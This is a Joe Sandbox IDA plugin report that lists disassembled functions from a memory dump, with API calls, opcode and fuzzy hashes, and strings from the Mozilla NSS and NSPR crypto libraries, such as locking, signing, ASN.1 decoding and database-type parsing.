Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: becccec2a9a0feb607201bad42fc20ce6c4b12145f1141521f1531bd489f7687
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 7431327575292127EF0E10575E32BAF146A8F6530EF54003CFD0AF97C0F695A72702A5

Function 6CF70FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CF71000

Part of subcall function 6CF29BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE51A48), ref: 6CF29BB3
Part of subcall function 6CF29BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE51A48), ref: 6CF29BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CF71016

Part of subcall function 6CF0C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF0C2BF

PR_Unlock.NSS3(?), ref: 6CF71021

Part of subcall function 6CF0DD70: TlsGetValue.KERNEL32 ref: 6CF0DD8C
Part of subcall function 6CF0DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF0DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF71046
PR_Unlock.NSS3(?), ref: 6CF7106B
PR_Lock.NSS3 ref: 6CF71079
PR_Unlock.NSS3 ref: 6CF71096
free.MOZGLUE(?), ref: 6CF710A7
free.MOZGLUE(?), ref: 6CF710B4
PR_DestroyCondVar.NSS3(?), ref: 6CF710BF
PR_DestroyCondVar.NSS3(?), ref: 6CF710CA
PR_DestroyCondVar.NSS3(?), ref: 6CF710D5
PR_DestroyCondVar.NSS3(?), ref: 6CF710E0
PR_DestroyLock.NSS3(?), ref: 6CF710EB
free.MOZGLUE(?), ref: 6CF71105

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 9e52f5031098060488aa94f1b6e71eedbf5510a4bcf27e3560811efb0b36c121
Instruction ID: 0ab52b2da1011ca7ff03be7ef063791b7e4531a80fe2b081a5682c07e4c08298
Opcode Fuzzy Hash: 9e52f5031098060488aa94f1b6e71eedbf5510a4bcf27e3560811efb0b36c121
Instruction Fuzzy Hash: 01318AB6A00801ABDB119F14EC45A46BB71BF05318B188135E80917F61E772FA78EBE2

Function 6CDEDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CDEDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CDEDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CDEDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CDEDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDEDECD

Strings

%s at line %d of [%.10s], xrefs: 6CDEDF7C, 6CDEDFEC
database corruption, xrefs: 6CDEDF77, 6CDEDFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDEDF6D, 6CDEDFCC, 6CDEDFDD

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 73db19d97c684e64b1245c940bb05fca2d884c4fd81d5b38e9e0844aa7342d0a
Instruction ID: c4fccf26e162e924b489ddc836c2a66883bbe2c8d93754c1b68e9de1a07eb688
Opcode Fuzzy Hash: 73db19d97c684e64b1245c940bb05fca2d884c4fd81d5b38e9e0844aa7342d0a
Instruction Fuzzy Hash: B7A1C5716047419FD710CF29C880A6AB7F5AFC9308F15892DF8898BB61EB31E955CBA1

Function 6CEAEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CEAEE0B

Part of subcall function 6CEC0BE0: malloc.MOZGLUE(6CEB8D2D,?,00000000,?), ref: 6CEC0BF8
Part of subcall function 6CEC0BE0: TlsGetValue.KERNEL32(6CEB8D2D,?,00000000,?), ref: 6CEC0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEAEEE1

Part of subcall function 6CEA1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CEA1D7E
Part of subcall function 6CEA1D50: EnterCriticalSection.KERNEL32(?), ref: 6CEA1D8E
Part of subcall function 6CEA1D50: PR_Unlock.NSS3(?), ref: 6CEA1DD3

TlsGetValue.KERNEL32 ref: 6CEAEE51
EnterCriticalSection.KERNEL32(?), ref: 6CEAEE65
PR_Unlock.NSS3(?), ref: 6CEAEEA2
free.MOZGLUE(?), ref: 6CEAEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CEAEED0
PR_Unlock.NSS3(?), ref: 6CEAEF48
free.MOZGLUE(?), ref: 6CEAEF68
PR_SetError.NSS3(00000000,00000000), ref: 6CEAEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CEAEFA4
free.MOZGLUE(?), ref: 6CEAEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CEAF055
free.MOZGLUE(?), ref: 6CEAF060

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 44221a74c7750a27f347a8e18f725abe39bc45aae9cf7ca2e20dd10fdc5494ef
Instruction ID: 9f73550699f22c1c05189d6751fd259eb4012f97f1ba4f73d9cd5d2003e1544b
Opcode Fuzzy Hash: 44221a74c7750a27f347a8e18f725abe39bc45aae9cf7ca2e20dd10fdc5494ef
Instruction Fuzzy Hash: D1814FB5E00609AFDB00DFA5DC85BDE7BB5BF09318F244028E919A7711E731E925CBA1

Function 6CE74CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CE74D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CE74D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CE74DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE74E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CE74E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CE74E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CE74E85
DER_Encode_Util.NSS3(?,?,6CFC05A4,00000000), ref: 6CE74EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CE74F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CE74F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE74F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE74F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE74F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE74FC8

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: cffc7db59f927e8fbad3b42ffec92f58ac9c62b1105f30b332828240c136c5a7
Instruction ID: 4e495544b44a2266a01c53e722c0bb8341d0d81e19dac34ec542b544ecd49de5
Opcode Fuzzy Hash: cffc7db59f927e8fbad3b42ffec92f58ac9c62b1105f30b332828240c136c5a7
Instruction Fuzzy Hash: F5819071A043019FE725CF28D881B6AB7F4AB85358F24852EF958DB741E731E905CFA2

Function 6CEB5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CEB5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CEB5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CEB5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CEB5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CEB5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CEB5E18
TlsGetValue.KERNEL32 ref: 6CEB5E5E
EnterCriticalSection.KERNEL32(?), ref: 6CEB5E72
PR_Unlock.NSS3(?), ref: 6CEB5E8B

Part of subcall function 6CEAF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CEAF854
Part of subcall function 6CEAF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CEAF868
Part of subcall function 6CEAF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CEAF882
Part of subcall function 6CEAF820: free.MOZGLUE(04C483FF,?,?), ref: 6CEAF889
Part of subcall function 6CEAF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CEAF8A4
Part of subcall function 6CEAF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CEAF8AB
Part of subcall function 6CEAF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CEAF8C9
Part of subcall function 6CEAF820: free.MOZGLUE(280F10EC,?,?), ref: 6CEAF8D0

Strings

d, xrefs: 6CEB5C36
tokens=[0x%x=<%s>], xrefs: 6CEB5D3D

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: d2a8e9c033635613252a07078fc5705cdcf65767d804bcfd736c63ae94a0933d
Instruction ID: 295d3087880c591e2231a1cdb635e47cab8a8c84e3a5e4a34a19047574258162
Opcode Fuzzy Hash: d2a8e9c033635613252a07078fc5705cdcf65767d804bcfd736c63ae94a0933d
Instruction Fuzzy Hash: 7D71F5B0E062019BEB019F24EE4577B7375AF4131CF340539E809BAB42EB36E915CB92

Function 6CEA8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CEA9582), ref: 6CEA8F5B

Part of subcall function 6CEBBE30: SECOID_FindOID_Util.NSS3(6CE7311B,00000000,?,6CE7311B,?), ref: 6CEBBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CEA8F6A

Part of subcall function 6CEC0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE687ED,00000800,6CE5EF74,00000000), ref: 6CEC1000
Part of subcall function 6CEC0FF0: PR_NewLock.NSS3(?,00000800,6CE5EF74,00000000), ref: 6CEC1016
Part of subcall function 6CEC0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE687ED,00000008,?,00000800,6CE5EF74,00000000), ref: 6CEC102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEA8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CEA8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CF8D820,6CEA9576), ref: 6CEA8FF9
DER_GetInteger_Util.NSS3(?), ref: 6CEA901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CEA903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEA9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CEA90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CEA90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CEA90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CEA912D
free.MOZGLUE(00000000), ref: 6CEA9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CEA9145

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 8ff74f2033d73c449a8f0bbb4fa2acb07392ae422754f7dba8d0fa42f77993f9
Instruction ID: 9b276200a86c383e2febed2bfb6776cb3f14b03a58867a745ab7c5bc733d1451
Opcode Fuzzy Hash: 8ff74f2033d73c449a8f0bbb4fa2acb07392ae422754f7dba8d0fa42f77993f9
Instruction Fuzzy Hash: 325103B2A042409FEB00CF68DC81B9BB7F4AF94318F254529E854DB741E736E946CBD2

Function 6CF7C8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6CF7C8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF7C8DA
malloc.MOZGLUE(00000001), ref: 6CF7C8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF7C8F8
PR_NewLock.NSS3 ref: 6CF7C909
PR_NewCondVar.NSS3(00000000), ref: 6CF7C918
PR_NewCondVar.NSS3(00000000), ref: 6CF7C92A

Part of subcall function 6CE50F00: PR_GetPageSize.NSS3(6CE50936,FFFFE8AE,?,6CDE16B7,00000000,?,6CE50936,00000000,?,6CDE204A), ref: 6CE50F1B
Part of subcall function 6CE50F00: PR_NewLogModule.NSS3(clock,6CE50936,FFFFE8AE,?,6CDE16B7,00000000,?,6CE50936,00000000,?,6CDE204A), ref: 6CE50F25

free.MOZGLUE(00000000), ref: 6CF7C947

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: 6d7af42a6dd84d5031cfabaf904b17b2ba3dc260dbb1a8dd7b1bfc84118d56f4
Instruction ID: 490db814f2d3421c7ef4667f0b7688762d90b1c0fb96744c763c3acccb7e2433
Opcode Fuzzy Hash: 6d7af42a6dd84d5031cfabaf904b17b2ba3dc260dbb1a8dd7b1bfc84118d56f4
Instruction Fuzzy Hash: A921F7F1E007025BEB60AF78AC4569B7ABCAF01258F14043AE85AD2B00EB31D514CBB6

Function 6CE5AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CE5AF47

Part of subcall function 6CF29090: TlsGetValue.KERNEL32 ref: 6CF290AB
Part of subcall function 6CF29090: TlsGetValue.KERNEL32 ref: 6CF290C9
Part of subcall function 6CF29090: EnterCriticalSection.KERNEL32 ref: 6CF290E5
Part of subcall function 6CF29090: TlsGetValue.KERNEL32 ref: 6CF29116
Part of subcall function 6CF29090: LeaveCriticalSection.KERNEL32 ref: 6CF2913F

FreeLibrary.KERNEL32(?), ref: 6CE5AF6D
free.MOZGLUE(?), ref: 6CE5AFA4
free.MOZGLUE(?), ref: 6CE5AFAA
PR_ExitMonitor.NSS3 ref: 6CE5AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CE5AFF5
PR_ExitMonitor.NSS3 ref: 6CE5B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE5B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CE5B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE5B03C

Strings

%s decr => %d, xrefs: 6CE5AFF0
Unloaded library %s, xrefs: 6CE5B023

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: d46f66b6b069d196a5d17b797acf2fea7e70d93076eea82a4a74f347eb0aee39
Instruction ID: 3c5df353e40d13ba1d48d2cf7994163ebb33fbc8a3a317fc7e9d49f6a89491df
Opcode Fuzzy Hash: d46f66b6b069d196a5d17b797acf2fea7e70d93076eea82a4a74f347eb0aee39
Instruction Fuzzy Hash: 4A31D5B5F84111ABEB019F64DC41B66B775EB0670CB788125E80597B00E723E935D7F2

Function 6CEA6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CEA781D,00000000,6CE9BE2C,?,6CEA6B1D,?,?,?,?,00000000,00000000,6CEA781D), ref: 6CEA6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CEA781D,?,6CE9BE2C,?), ref: 6CEA6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CEA781D), ref: 6CEA6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CEA6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CEA6C96

Part of subcall function 6CE51240: TlsGetValue.KERNEL32(00000040,?,6CE5116C,NSPR_LOG_MODULES), ref: 6CE51267
Part of subcall function 6CE51240: EnterCriticalSection.KERNEL32(?,?,?,6CE5116C,NSPR_LOG_MODULES), ref: 6CE5127C
Part of subcall function 6CE51240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE5116C,NSPR_LOG_MODULES), ref: 6CE51291
Part of subcall function 6CE51240: PR_Unlock.NSS3(?,?,?,?,6CE5116C,NSPR_LOG_MODULES), ref: 6CE512A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CEA6CAA

Strings

extern:, xrefs: 6CEA6C7E
dbm:, xrefs: 6CEA6C3A
rdb:, xrefs: 6CEA6C69
sql:, xrefs: 6CEA6C52
dbm, xrefs: 6CEA6CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6CEA6C91

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 340527bd7cf8fcfb91a735675c82d0fa6fba02fdd80f8472d23922afb8a3c69d
Instruction ID: b1135c51ff10a669e2e79cd9ae3d29d82524c5256081b2dcd0112cdac42ae562
Opcode Fuzzy Hash: 340527bd7cf8fcfb91a735675c82d0fa6fba02fdd80f8472d23922afb8a3c69d
Instruction Fuzzy Hash: D20184B5B02301BBE55027E96CC9F57756C9B4225DF340432FE14E8A41EB97E91640A9

Function 6CEB4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CE778F8), ref: 6CEB4E6D

Part of subcall function 6CE509E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CE506A2,00000000,?), ref: 6CE509F8
Part of subcall function 6CE509E0: malloc.MOZGLUE(0000001F), ref: 6CE50A18
Part of subcall function 6CE509E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE50A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CE778F8), ref: 6CEB4ED9

Part of subcall function 6CEA5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CEA7703,?,00000000,00000000), ref: 6CEA5942
Part of subcall function 6CEA5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CEA7703), ref: 6CEA5954
Part of subcall function 6CEA5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEA596A
Part of subcall function 6CEA5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEA5984
Part of subcall function 6CEA5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CEA5999
Part of subcall function 6CEA5920: free.MOZGLUE(00000000), ref: 6CEA59BA
Part of subcall function 6CEA5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CEA59D3
Part of subcall function 6CEA5920: free.MOZGLUE(00000000), ref: 6CEA59F5
Part of subcall function 6CEA5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CEA5A0A
Part of subcall function 6CEA5920: free.MOZGLUE(00000000), ref: 6CEA5A2E
Part of subcall function 6CEA5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CEA5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CE778F8), ref: 6CEB4EB3

Part of subcall function 6CEB4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CEB4EB8,?,?,?,?,?,?,?,?,?,?,6CE778F8), ref: 6CEB484C
Part of subcall function 6CEB4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CEB4EB8,?,?,?,?,?,?,?,?,?,?,6CE778F8), ref: 6CEB486D
